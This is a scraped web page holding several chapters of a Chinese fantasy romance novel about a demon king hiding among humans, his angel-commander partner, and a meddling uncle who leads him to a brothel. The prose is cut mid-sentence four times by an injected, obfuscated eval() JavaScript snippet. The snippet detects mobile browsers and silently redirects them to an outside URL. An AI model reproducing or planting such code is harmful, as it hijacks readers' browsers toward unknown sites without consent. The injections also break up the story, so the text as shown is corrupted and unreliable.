魔王陛下气血上涌,甚至脸都被气得发起了烫,他微微睁大了眼睛:“所以你们就相信他的鬼话了?” 沉默。 弗尔依德垂着脑袋,又咬着牙用左手重新掏出一把短刀:“陛下,请允许我用生命……” 阿瑞斯:“……那你滚远点死。” —— 好不容易将撒尔骗着赶出了门,刚好与魔界沟通琉的璃镜也终于修复完成,本来以为和下属的交流,能够得出一些有用的信息。 没想到叽里咕噜一堆,只得到了一个“还是得靠自己”的结论。 弗尔依德的身形慢慢消失在画面中,水纹波动着逐渐恢复成了正常的镜面。 浪费了一整天的假期时间,得到零个好处的魔王陛下恼羞成怒地转过身。 早知道就去陪着塞西加班了,阿瑞斯气得想甩尾巴。 可恶的撒尔,可恶的弗尔依德,可恶的魔力紊乱! 但当你觉得事情已经足够糟糕的时候,往往都会有更糟糕的事发生。 阿瑞斯刚刚一转过身,长腿才往外跨出一步,就听到一道细微的咔嚓声在身后响起来。 强烈的不祥预感再次涌上心头,魔王陛下动了动耳朵尖,紫色的美丽瞳孔猛地缩紧,他匆忙地转身试图挽救:“等等……” 但还是迟了一步。 随着一阵哐当哐当啪啦啪啦的声响,浴室里的光滑镜面碎了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587146|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 与此同时,一股强大而危险的魔力在一瞬间炸裂开,属于魔王恐怖气息从破碎的镜子处四溢蔓延开来。 正在街上四处乱转的黑发魔族停住脚步,艳丽的眼尾轻轻挑起来,啊了一声后,若有所思满眼戏谑地望向了某个方向。 霍尔莫德斯文明与历史学院的某间休息室中,本来气氛正悠闲的天使们集体脸色一变。 坐在最中间的金发天使也蓦地睁开眼,蔚蓝色的眸子中闪过圣洁的星芒,浅色的唇紧紧抿起来。 “亚德西莫大人,有一道极其强大的魔族气息在一瞬间出现了,而且那个方向和位置……好像是……”伊斯顿的语速很快,透着严肃和慌张。 但抬起头来时,面前却早已不见了天使长大人的身影。 —— 亚德西莫的心脏跳动得很快,快得心跳声甚至都快要覆盖掉周围一切的声音,嘈杂而压抑,这是上天对他疏忽和侥幸的惩罚。 太过愚蠢。 他冷静地用这个词来骂自己。 明明察觉到诺曼堡最近一段时间并不太平,魔族出现的频率很不正常,那名潜伏着的魔王也在暗处虎视眈眈,还有一个来路不明的撒尔,但他却还是放任了脆弱的人类伴侣一个人呆在家里。 愚蠢、自负、呆板。 脑海中忽然闪过上一任天使长卸任时,轻声叹息着留下的话: “亚德西莫,你的自负和骄傲,迟早会有一天让你狼狈不堪。” 如果是那名魔王出现的话,一个简单的六翼天使标记,的确不可能阻拦得住他的脚步。 甚至还会使得残忍的魔族因此而对无辜的阿瑞斯产生更强的攻击性。 阿瑞斯,阿瑞斯。 圣洁盛大的三对翅翼在一瞬间在背后展开,盘旋着的气流随着金光而不断升腾,人界上空隐隐出现一点如有若无的金线划过。 手腕处不断地散发着灼烧感和圣光,是惩戒天使在警告他的违规。 周日的傍晚,诺曼堡总是安静祥和的。 街边的日用品店铺没有新的客人,洛安娜小姐正在懒洋洋地坐在躺椅上给自己涂手指甲。 满意地欣赏了几秒后,一放下手抬起眼,就看到一道像是裹在金光里的身影从天而降,吓得她差点把指甲油涂到手指上,等再一次眨眼时,面前又没有了那道身影。 “真是奇怪……”洛安娜拍着胸口嘟囔一声,然后一低头就发现自己还没有干的指甲油,因为这个动作而完全糊掉了:“……” 温馨的双层小楼被人猛地推开了大门,急匆匆的脚步声响起来。 发现客厅里空无一人后,亚德西莫的心就沉下去了一截,本来就被感染严重的精神领域隐隐有要崩溃的预兆。 “阿瑞斯,宝贝,你在家吗?”天使长的声音带着颤意,蔚蓝的眸子布满了焦急:“阿瑞斯!” 嘭。 什么东西落地的声音响起来,亚德西莫耳朵动了动,顺着发声的方向慌慌忙忙地走向了浴室。 将门快速打开后,刚好就和自己正蹲在地上,努力捡玻璃碎片的伴侣对视上。 阿瑞斯有点心虚又有点委屈,抿住唇抬起手给伴侣看自己的手指:“我的手被划伤了,塞西。” 18. 巡视领地的黑天鹅 阿瑞斯有点苦恼。 他的人类伴侣最近好像有些过于焦虑了,蔚蓝色的眸子总是放到自己身上,连班都不加了,甚至还想直接翘了课,呆在家里陪着自己。 一天二十四个小时,恨不得有二十五个小时都和自己黏在一起。 患得患失小心谨慎的样子,让阿瑞斯自己都差点以为自己是不是人类童话里面的人鱼公主,一不注意就会变成泡沫消失。 谁又能想到,这是霍尔莫德斯最稳重优雅的塞西老师。 而这一切,都要从一块被魔王的强大魔力给震碎的玻璃镜子说起。 虽然经历过大改造,但人界的镜子始终还是难以接受来自魔王的魔力,哪怕只是轻微的触碰也会导致无法负担而破碎。 如果不是当时弗尔伊德的状态看上去实在不佳,眼看着是真的要当场表演个“以鲜血滋养魔王”的无聊剧情,阿瑞斯才不会做出这样不妥当的举动出来。 虽然早有预料,但年轻的魔王还是心存侥幸,甚至还单纯地想着如果自己早点跑出去,是不是就能假装什么也没有发生。 当然镜子最后还是碎了,强大的魔族生物气息连带着魔王慌乱无措的心情一起释放了出来。 阿瑞斯那一瞬间就后悔了,脑海中闪过了数百种自己在伴侣面前,被那些长翅膀的天使和骑士团追杀时的凄惨场景。 魔王犹犹豫豫纠纠结结好一会儿,最后在立刻转身逃跑和带着伴侣一起转身逃跑之间,选择了把玻璃碎片收拾干净再逃跑。 毕竟塞西只是一名普通人类,对他来说,这些尖锐的玻璃都格外的危险,轻而易举地就能刺穿他薄薄的皮肤,割破他滚烫的血肉。 如果自己真的被抓走了的话,至少不会让无辜的伴侣被玻璃扎到手脚。 已经预想到自己接下来会面对无数糟糕情况的魔王陛下,一边蹲在地上可怜兮兮地捡玻璃片,一边抽着鼻子这样想着。 越想越觉得沮丧,越想越觉得委屈。 然后一不留神手指就被划了条缝。 嗯,然后就更委屈了。 看到塞西出现的时候,这种委屈的情绪更是到达了巅峰。 魔王陛下抱着一种自己下一刻就要和伴侣生离死别各自为敌的悲壮心情,对着本来就情绪紧绷的天使长抬起了手腕,紫罗兰色的眸子慢慢溢上了水雾,小声说:“我的手指被划伤了,塞西。” 然后…… 然后事情就一发不可收拾,天使长大人抿着唇带着懵懵的魔王陛下和他马上就要愈合了的伤口,砰砰砰地敲响了医务室的大门。 阿瑞斯努力地憋了半天,才勉强压制住身体的恢复速度,没有让那道细小的划痕在老医生战战巍巍的包扎和伴侣紧张的注视下瞬间愈合。 等阿瑞斯第二天早上醒来时,发现浴室那块碎掉的镜子已经被清理掉了,换上了更加坚硬的魔法石材质。 不仅如此,家里面所有的可能会划伤皮肤的易碎物品,全部都在一夜之间被掉了包。 其实真的一点都不脆弱,完全称得上皮糙肉厚的魔王阿瑞斯:“唔……” 身边的邻居们也似乎更加关照他起来,愈发频繁的关心先不说,现在甚至时不时地就会有人送给他一些具有防御功能的工具。 总觉得事情好像有哪里不太对,但又说不上来。 原来在人类的眼中,划破手指是一件那么重要的事情吗,魔王迷茫地这样想。 不过比起来因为泄露踪迹而被天使和骑士团追杀,这种过度关心倒是也最多只能算得上是甜蜜的负担。 但甜蜜虽然甜蜜,阿瑞斯还是不希望伴侣因为自己的“受伤”而太过紧张,甚至影响到了塞西自己的生活和事业。 当然,这也是为了魔王能够有足够的时间,来找到压抑控制魔力的方法。 阿瑞斯这样想着,紫色的眸子缓慢移动,落到了不远处正在垂眸翻书的青年身上。 塞西拥有一头非常美丽的波浪长发,金色、柔顺、茂密,阳光落下的时候,每一根发丝都似乎往外散发着圣洁温暖的光晕。 ……的确是一副大多数魔族看了,都会忍不住想要撸起袖子打架的讨厌模样。 阿瑞斯第一次见到他时,就差点没控制住魔族本能,给那张温文尔雅眉眼弯弯的脸,甩上一道尾巴痕迹。 哪怕是这么多年过去,迷迷糊糊地半夜醒来,看到床边有那么一颗金灿灿的脑袋时,魔王陛下也会偶尔被吓得瞳孔一缩猛地弹起来,然后被慢慢转醒的伴侣温和地搂进怀里问是不是做了噩梦。 但是那又如何,就算伴侣有一副和那些讨厌的鸟人相似的外表,也要比他们英俊可爱千千万万倍。 魔王陛下总是那么自信骄傲,不管是对他自己,还是对他所认定的“王后”。 同样的,阿瑞斯也希望“王后”自己,也能够对他更有自信一些。 “塞西,你今天不用去霍尔莫德斯吗?”阿瑞斯盯着亚德西莫看了一会儿,终于咳嗽一声,假装不经意地走到他的书桌前。 魔王在家里的时候不爱穿衣服,天使长好说歹说之下,才勉强让他穿上一件薄薄的家居服。 但穿上是穿上了,扣子也不好好扣,就算是自己帮他扣到了最上方,过了一会儿再看过去,也会发现只有最后几颗扣子在艰难工作着,而上方的一列扣子,又被人偷偷全部重新扯了开。 将修长涩气的颈脖,精致的锁骨,微微苍白但却有着漂亮肌肉的胸膛全部都露出来,然后大大咧咧地在天使长大人面前晃来晃去。 亚德西莫正在为上一次在人群中露出翅膀的事情写检讨和报告。 钢笔在白纸上不断划过,最后却只能写出一连串无意义的文字。 这样的工作效率本不应该出现在天使长的身上。 只是他的心神早已经不在纸笔上了,而是被房间中的人类伴侣所吸引。 黑色短发的美丽青年,此时就正穿着这样一件要掉不掉的单薄家居服,光脚踩在地毯上,漂亮的下颌轻轻抬起来,如同紫罗兰般的眸子随着他的踱步而缓慢移动。 像一只在巡视领地的黑天鹅,骄傲又谨慎。 他似乎有些欲言又止,眸子多次假装不经意地望过来,被发现后又慌里慌张地侧过头,或许是因为心虚,纤长的手指将领口扯得更开了,几乎将最后几颗扣子也扯掉。 光是余光都能轻而易举地看到那片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587147|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白花花的皮肤,勾得天使长一不留神就重重地划破了薄薄的纸张。 终于,就是这道划破纸张的声音,使得黑天鹅的紫色眸子一亮,他装作若无其事地停留在了天使长的桌前。 亚德西莫放下笔,垂眸替伴侣扣好衣服的扣子,没有第一时间回答他的问题,反而是轻笑着反问:“阿瑞斯不是也没有去画室。” 人类的布料总让魔有一种被束缚的感觉,阿瑞斯却也没有阻止亚德西莫的的动作,而是皱着眉为自己辩解:“那是因为维拉最近总是说很忙有事,画室根本就没有开门。” 年轻人的声音听上去有些不高兴,还带了些面对未知情况的无措。 作为魔王,阿瑞斯并没有太多的爱好,画画勉强算是其中一个。 如果画室真的倒闭的话,那还真是一件令魔沮丧的事情。 亚德西莫揉了揉魔王的黑发,低声哄他:“没关系的,宝贝,实在不行就来霍尔莫德斯当美术老师。” 可怕的提议。 嗯……不过想起霍尔莫德斯的餐厅,这件事情好像也不是那么难以让人接受了。 但还是不行,伟大尊贵的魔王,是绝对不可能去给闹腾腾的人类小孩儿授课的! 亚德西莫眨眨眼:“艺术学院的院长一直很喜欢你,亲爱的阿瑞斯。” 魔王正想要反驳的话又默默地吞了回去,他唔了一声,脸有点红:“她的确是个很慈爱的老太太……” 天使长大人循循善诱:“而且诺曼堡的人,谁不知道阿瑞斯拥有整座城市最顶尖的画技。” 阿瑞斯被夸得有点不好意思了,下意识地抬起手捏了捏耳朵:“虽然这个是事实啦……” 大多数的魔都是吃软不吃硬的性格,年轻的魔王更是其中的典型代表,在伴侣真诚温柔的夸奖下逐渐飘飘然,差点真的脑袋一热,兴冲冲地跟着天使长一起去霍尔莫德斯签字盖章。 幸好阿瑞斯在即将被哄骗着开心签下卖身契之前,终于清醒过来。 脑袋转过弯后,白皙的脸蛋就顿时红了一片。 阿瑞斯睁大眼睛,恼羞成怒地一把捂住伴侣含笑的蔚蓝色眸子,咬着牙说:“可恶的塞西,你又戏弄我。” 亚德西莫被捂住了眼睛,只能通过伴侣手指的缝隙往外看到一点隐隐约约的画面,漂亮画师的颈脖在狭小的视野里若隐若现。 脑海中不由得浮现了不久之前,那场在黑布束缚下的特殊浴室游戏。 天使长忽然觉得有些口干,轻轻舔了一下淡色的唇瓣,伸出手来摸索着放到了伴侣的腰腹部。 “宝贝,自从你的舅舅来之后,我们就很久没有做过甜蜜的开心事了。”亚德西莫很会装可怜,声音都小下去不少,好像真是一个独守空房的心酸丈夫:“你知道的,我是那么想念你和你漂亮的……” 他的话还没有说完,就被已经脸烫得快要烧起来的炸毛魔王凶巴巴地捂住了嘴巴。 阿瑞斯没有憋住,细长的尾巴悄悄地从后腰处探了出来,因为燥热而非常不听话地缠绕到了凉凉的桌脚上。 “哪里有很久,”魔王红着耳朵,一本正经地揭穿人类的欲-念:“塞西明明昨天才刚刚尝过。” 19. “我才不去!” 最后天使长还是没有再一次地尝到他所想念的漂亮东西,因为在他的激将法即将得逞,马上就要趁机拉下自己羞恼、可爱的年轻伴侣的裤腰带时,书房的门被人十分没有礼貌地推了开。 一个黑发红袍,袒露着小半胸膛,面容艳丽,梳着麻花辫的男人站在了门口。 他完全没有打扰到别人好事的自觉,栗色眸子饶有兴趣地盯着亚德西莫和阿瑞斯看。 知道自己的存在已经被屋里的两人发现后,才懒洋洋地抬起手轻轻挥着,舔舔嘴唇,声音刻意地拖长:“小阿瑞斯,快过来,舅舅有事情找你。” 撒尔对天使长冷下来的表情视若无睹,甚至还有几分挑衅地扬了扬眉梢,又故意暧昧地补充一句:“是很重要的事情哦,你一定不会想要错过的,亲爱的。” 然后,亚德西莫就眼睁睁地看着,本来还和自己玩着甜甜蜜蜜欲情故纵小游戏的伴侣蓦地站起来,紫色的漂亮眸子闪过一抹暗色,紧接着就急匆匆地退开。 属于年轻人的温暖气息从身上“剥离”,天使长抿住唇,下意识地伸出手尝试挽留:“阿瑞斯,你……” 再接着就被伴侣抓住手,硬生生地放回了书桌上。 阿瑞斯的脸上还残留着不久前因为情-欲和羞恼而升起的红晕,但眼神却正经认真。 他说:“塞西,我先去找……找舅舅谈事情了,你在这里好好工作,不要偷懒哦。” 亚德西莫:“……什么?” 面前的场景太过于滑稽诡异,他甚至莫名地在心中产生了一种因为自己太过无趣,只能看着漂亮伴侣被别的风流浪荡野男人骗走,还得要努力工作供野男人吃穿的无力心酸感。 但就在天使长快要就地黑化时,转身走了两步的阿瑞斯又脚步一顿,重新倒了回来。 漂亮的年轻画师傲娇又好面子,每一句关心甜蜜的话,从他的口中说出来都格外地艰难。 当然也格外地让人心动。 “我的伤已经没事了,塞西。”阿瑞斯俯下身,动作仍然是矜贵的,也明显带着些笨拙,紫色眸子清透又专注地望着面前明显情绪低落的伴侣,他学着亚德西莫的样子,抬起手来在那头耀眼柔顺的金发上揉了揉,声音放得很轻: “你可以去做你想做的所有事情,”天使长听到他脆弱又美丽的人类伴侣这样开口:“我会保护好自己,但你的担忧也同样让我难过。” “塞西,我希望你开心。” 最后这几个字,将亚德西莫所有预先想好的字词全部扰乱,脑海中一片空白,他甚至忘了怎么做出反应。 只是喉结不住地滚动着,望着伴侣移不开视线。 等天使长终于能够缓慢眨动眼睛时,面前已经没有了阿瑞斯修长的身影。 当然,也没有了那名叫撒尔的讨厌人类。 书房里面只剩下了亚德西莫一只可怜天使。 “伊斯顿。”亚德西莫呼出一口气后,捂住额头,浅色的浓密睫毛垂下来,让人难以看清他眼底的神色。 随着这声呼喊,书房的墙壁上开始出现几道金色圣光,光芒褪去时,伊斯顿的身影就出现在了面前。 作为治愈系天使,关注周围同伴,特别是天使长大人的精神健康状况,已经成为了伊斯顿下意识的行为。 他轻轻皱着眉头,担心地询问:“亚德西莫大人,是您的精神领域出现问题了吗?” 但面前的金发天使,却始终是垂着眸子,手指捂住半边脸的动作,怎么看都是一副阴郁低落的样子,实在让人担忧,但没有天使长的允许,伊斯顿也不太敢直接闯进他的房间里面去,只能在另一面焦急等候。 “亚德西莫大人,您……” 就在此时,伊斯顿听到天使长从捂住脸的指缝间泄出来一丝笑意。 “?” 亚德西莫终于平复好了心中的情绪,放下手,弯起眉眼来,蔚蓝色的眸子里面都是盛满了笑意。 一副春风得意的模样。 伊斯顿忽然就有了点不好的预感。 果然,下一秒就听到英明神武冷静沉稳的天使长大人,勾着唇兴致勃勃地开口:“你知道吗伊斯顿,阿瑞斯说他想要我开心。” “……” 每一名治愈系天使都有开阔的胸襟和善良包容的情怀。 但这种情怀显然不应该存在于单身天使身上,至少伊斯顿的表情已经从关心担忧,变成了沉默无语。 亚德西莫又忍不住噢了一声,金色发丝垂落在肩头,他捂住胸口,语气难掩炫耀和兴奋:“我就知道,他好爱我。” “……” 伊斯顿想了想,最后说:“这种事情的话,亚德西莫大人下次还是找巴奈吧。” 成为甜蜜伴侣们的单身狗玩具什么的,还是巴奈比较擅长。 —— 天使长被魔王陛下两句话就哄好了,重新回到之前那副活力满满的样子,甚至还非常有斗志地决定带着下属们去抓几只乱跑的魔族(顺便和他们讲讲自己与阿瑞斯甜心的爱情故事)。 但此时的魔王的心情却不是那么美丽。 主要的原因在于旁边的撒尔实在太过于烦人。 “啊,塞西,我希望你开心~”黑色长发的魔族故意用黏黏糊糊拖长了的语调,去重复魔王和他的人类伴侣之间的情话,语气暧昧动作浮夸:“噢,亲爱的塞西,你可以去做你想做的所有事情……” 闷头走在前方的阿瑞斯,终于在撒尔试图凑到自己耳朵边时,忍无可忍地一把揪住了他的长发:“撒尔,你说够了没有!” 如果认真算上来的话,魔王的年纪在整个魔族中都算是小的,仔细看过去,白皙的脸上甚至还带着点青涩,只是阿瑞斯平时的形象总是矜贵优雅的,所以才很少被其他人发现他其实是一只“魔崽子”。 而一旦生气时,脸红耳朵也红,恼怒和羞耻同时出现在这张漂亮的脸蛋上,腮帮子被气得微微鼓起来,才会在不经意之间显露出这份青涩。 撒尔忽然有点感慨:“时间过得可真快,一转眼,小阿瑞斯都已经嫁到别人家了,真是……” 他的话被迫停了下来,眸子慌张地落到魔王手心里的黑色长发。 以及长发边上的一簇火焰上。 “……我当然是开玩笑的,我尊贵的陛下。”撒尔脸上的笑完全僵硬住了:“您完全没必要这样。” 在心疼地收回自己差点变成“烤辫子”的可怜长发后,撒尔终于老实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587148|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 当然还是一副不着调的摸样,他这次小心地藏起了自己的头发,凑到魔王身边眨眨眼:“阿瑞斯,经过这几天的努力,我已经成功地唤醒了一部分的领域了,我们再试试,绝对没有问题。” 阿瑞斯之前被伴侣的大胆言论而被刺激出来的尾巴,直到现在也还没能缩回去,只能可怜巴巴地蜷缩着缠在腰上。 好在魔王的上衣扣子被伴侣提前扣到了最上方,又穿上了一件外套作为掩盖,单单从外形上看,几乎看不出来这名美丽的画师腰上的凸起。 但即便如此,这种将尾巴鬼鬼祟祟藏在衣物底下,然后走在全是人类的街道上的诡异羞耻感,还是令脸皮薄的魔王浑身不适应。 “最好是这样。”阿瑞斯冷着脸威胁他:“否则我一定会把你的头发剃光了,然后直接扔回深渊,让你沦为所有魔的笑柄。” 来自魔王的威胁越来越让魔感到害怕了,撒尔光是想想那样的画面,都忍不住抽了抽嘴角:“啧,你真是无情……” 阿瑞斯的实力强大,甚至可以说得上是可怕,他能够做到随手销毁他魔的领域,对于复原和修复这种事情却并不熟练,毕竟这从来都不在魔王的考虑范畴之内。 因此在撒尔什么也不愿意说的情况下,他的领域问题还真的只能靠他自己去解决。 但魔王陛下的魔力紊乱显然越来越无法等待和忍耐了,这些胡乱涌动着想要释放出来的魔力,迫切地需要得到消耗。 “并且你最好快一点,”阿瑞斯抿住唇,手指放到口袋里面摸了摸,掏出自己放在小袋子里面的蓝色钻石,紫色眸子中慢慢涌上一点温情,魔王认真地说:“拖到太晚的话,能雕刻耳钉的首饰店就要关门了。” 他还要给辛苦工作的伴侣雕刻一对情侣耳钉出来。 莫名其妙吃了一口狗粮的撒尔:“嘁……” 好在他们没有在街道上走多久,只是拐了几个弯,就到了撒尔提前找到的场所。 “快进来吧小阿瑞斯,这可是舅舅花了大价钱才找到的好地方!”黑发魔族今天也扎了一条红色的发绳,和他张扬勾起的殷红嘴唇相得益彰:他看上去非常自信:“我敢说,它绝对能帮助你成功进入到我的领域里面来。” 闻言,阿瑞斯迷茫地顺着他的视线往里望去。 据撒尔所说,赚钱对他来说是个非常简单的事情,随随便便就能从那些愚蠢的人类手中得到一大笔,并且还没有使用任何武力威胁的手段,就能让他们乖乖地交出金币。 阿瑞斯虽然不知道他是怎么做到的,但撒尔的确是带回来了一大包钱。 出于某种心虚的情感,魔王拒绝了撒尔直接在家里面进行魔力消耗的想法,并且在他兴冲冲的纠缠之下,勉强同意了由撒尔来寻找新的场所的提议。 但现在,阿瑞斯就是后悔,非常非常后悔。 看着面前到处都是暧昧气息和桃色装饰,从内而外地写满了“情-色-场所”的狭窄小巷子,以及正站在巷子前方,熟练地递给接待人员银币的撒尔,反应过来的魔王唰地一下就红了脸。 尾巴都被吓得炸了毛,贴在腰上僵硬着不敢动。 阿瑞斯恼羞成怒,转身就走:“我才不去!” 20. “我看到小阿瑞斯在逛-妓-院!” 魔王陛下洁身自好那么多年,就因为该死的魔力紊乱,全部都毁之一旦。 阿瑞斯坐在了巷子深处的某间特殊服务室里,背脊挺得笔直,双手焦虑又端正地放在膝盖上,两条修长的腿紧张挤在一起。 整只魔都像是绷紧了的弦,又或者是一只受到了惊吓的小鸟,明明都已经被吓得炸开了羽毛,但还在努力地强迫自己张开翅膀去适应新的环境。 撒尔被他手足无措,还隐隐带了点嫌弃的表情逗得笑出了声,终于诡异地生出一点“长辈”的错觉来。 黑色长发的魔族故意端着一个老成熟练的态度来安慰:“放心好了阿瑞斯,我早就打听过了,那些人类都说这里很安全,不管在里面做什么都不会有人来打扰的。” 撒尔看上去是真的很骄傲自己能找到这么一个好地方,眸子都满意地眯起来,语气兴奋:“而且还只需要三个银币就可以在房间里面呆上一整天,这里的老板还答应我,只要我晚上去房间里面找他,就会给我送新的漂亮糖果!” 阿瑞斯:“……” 所以他说的这个场所“很适合”用来隐藏身份和魔力消耗的原因竟然是这样啊…… 魔王陛下真的很庆幸,自己初来人界时就遇到了好心善良且正直的塞西,如果不是有他在,自己或许也会像面前的这只愚蠢的前前前任魔王一样,被人拐骗来了这种地方,还一副兴高采烈的样子。 而且显然,从来没有离开过魔界的撒尔,还没有意识到自己到了什么地方。 甚至于,他根本就是一只从来都不知道“情-色-场所”的含义的单纯魔族。 联想到之前撒尔在自己面前装作成熟老练的样子,又看着他现在这样毫不知情的愚蠢单纯样,阿瑞斯一时都有些担忧,万一哪天魔族真的和人界能够自由地互通往来了,自己那群不长脑子只会干架的臣民们,会不会被其他种族给卖了,还自豪骄傲地觉得自己很值钱。 不过知道得少有时候也是一件好事,至少相比起局促不安浑身透露着抗拒的阿瑞斯来说,撒尔显得要从容自得许多。 他甚至饶有兴趣地翻开了前台递过来的“神秘菜单”,指着其中一页的某道“菜品”,勾着唇大方表示:“小阿瑞斯,今天舅舅请客。” 他敢指阿瑞斯都不敢看,只偷偷地瞟了一眼,就连忙收回视线。 魔王捂住了自己发烫颤动着的眼皮,只觉得自己相信撒尔就是一件巨大的错误:“撒尔!你就不觉得上面的东西看上去就很奇怪吗!” 撒尔又重新看了一遍,带着浅红的眼尾疑惑地扬起来,很小心眼地表示:“哪里奇怪了,至少比你之前给我的胡萝卜要正常许多。” 阿瑞斯不想理他了,默默地挪到了离他更远一些的角落里。 魔族对气味总是很敏感,小巷里面散发出来的甜腻的气息,让阿瑞斯难受地想缩到伴侣的衬衫里面去。 黝黑的尾巴从上衣下摆探出来,在空气里有一下没一下地晃荡着,魔王有些焦躁:“快一点吧撒尔,我讨厌这个地方。” 容貌艳丽的魔族打了个响指,黑色长发从发根处开始慢慢变成贵气的银白,栗色眸子逐渐染上猩红。 “知道了,”撒尔懒洋洋地舔了舔下嘴唇:“请相信我的能力,魔王陛下。” —— 而另一边的天使长大人,刚刚收拾完几只不遵守各族和平友好条例,嚣张地四处作乱的魔族,随便将他们打晕后,就让菲尔拎着后颈扔回了魔族边界里面。 亚德西莫一边擦拭着手指往外走,一边思索着今天晚上将年轻的伴侣哄骗到床上的可能性。 不过在此之前,得需要先找个借口,将他那名总是坏事还来路不明的亲戚丢到其他人那里去。 丢给谁好呢。 菲尔还是伊斯顿…… 就在此时,一道熟悉又火急火燎慌里慌张的声音打断了天使长的思绪:“天使长大人!” 亚德西莫一抬起头,就看到面前的圣光画面中,出现了巴奈的身影。 他似乎是矮着身体鬼鬼祟祟地藏到了某个角落里面,情绪紧张又亢奋,身后的背景画面亦是花花绿绿明明暗暗的,晃来晃去的,看得人眼睛痛。 按理来讲,巴奈现在应该是在跟踪某名行迹诡异身份存疑的魔族学生,但光从他的传影里来看,完全不像是在做什么正经任务的样子。 亚德西莫挑了下眉,正想要说什么,就听到巴奈压低了嗓子兴奋道:“天使长,我看到小阿瑞斯在逛-妓-院!” 天使长大人:“……” —— 庞大而密集的猩红瞳孔。 这是阿瑞斯在撒尔的领域里面唯一能看到的事物,除此之外,就只有暗黑色的,不断张开“裂口”翕张着的地面。 它看上去似乎已经完全恢复了正常,处处都充斥着强大的魔族气息,能够容纳一场危险重要的“比试”。 但,也只是看上去而已。 阿瑞斯没有往深处走,只走出十来步,就烦躁地停住了步子。 修长的小腿抬起来,带了点迁怒意味地一脚踩在了其中一道猩红瞳孔上,用力碾压,声音依旧是矜贵清亮的,却难掩其中的恼怒:“撒尔,你又骗我。” 魔王的脚落到红瞳之上的下一瞬间,看似恐怖的巨大瞳孔就猛地炸开,血色将整个领域蔓延,露出道道细碎的裂缝,像是一颗装成钻石的红色玻璃,顷刻间便暴露了脆弱劣质的内里。 “唔……” 阿瑞斯睁开眼,随之映入视线的就是弓着身体捂住眼睛,不断发出喘息声的白发魔族。 他像是一条被迫上岸的鱼,每一次呼吸处在了极大的痛苦之中,削瘦的手臂撑在墙壁上细细颤抖着。 自己刚刚应该没有踩那么狠吧。 魔王抿住唇,犹豫着要不要上前去查看情况,但脚还没有抬起来,就听到撒尔的喉咙间泄出来一丝嗤笑。 “哈哈,被我骗到了吧,小阿瑞斯。”撒尔笑得直不起腰,手指盖在自己的眼皮上:“你还是和小时候一样。” 阿瑞斯很无语,紫色的眸子中浮现些羞恼,转身就准备走:“你真是有病。” 自从撒尔来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587149|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到人界后,魔王最近几天骂过的脏话比前几年加起来的还多。 撒尔直起腰,见他要走,连忙伸出手去拉:“诶诶,先别走呀,我真没骗你,我的领域还是有救的……” 魔王陛下在心中暗暗下定决心,自己再也不会相信撒尔的鬼话了。 大不了以后天天出去跑步和锻炼,把魔力硬憋回去,实在不行就把尾巴一直藏到衣服里面,再戴个帽子遮住耳朵。 明天,明天一定要把撒尔送回深渊! 就在两只魔拉拉扯扯之际,房间的门突然被敲响。 阿瑞斯的动作一顿,眸子迷茫又下意识谨慎地抬起来看过去。 门外传来一道娇媚的声音:“两位先生,你们点的特殊服务到了哦~” 阿瑞斯:“……” 撒尔是真的对“神秘菜单”上的“食物”很感兴趣,闻言眼睛一亮,一时都忘记了去阻止阿瑞斯离开,兴冲冲地就要去打开门。 “你不许开门!” 阿瑞斯非常非常后悔跟着撒尔出门,白皙的脸红得像是番茄,慌张又凶狠地按住了撒尔蠢蠢欲动的手,威胁道:“你敢开就死定了,撒尔。” 撒尔虽然不明白为什么年轻的魔王外甥会那么激动,但这并不妨碍他狡猾地借此来为自己换取利益:“除非你答应帮我修复我的领域。” 这只魔真是太让人难懂,前一段时间死都不说领域损坏的原因,现在又好像突然愿意敞开心扉了。 “好,”阿瑞斯只能咬着牙一字一顿地说:“我答应你。” 而此时刚好匆匆赶到,只听到了最后一句话的巴奈急得恨不得将耳朵贴在门上,懊悔自己来晚了几步:“可恶,他们在答应什么……” 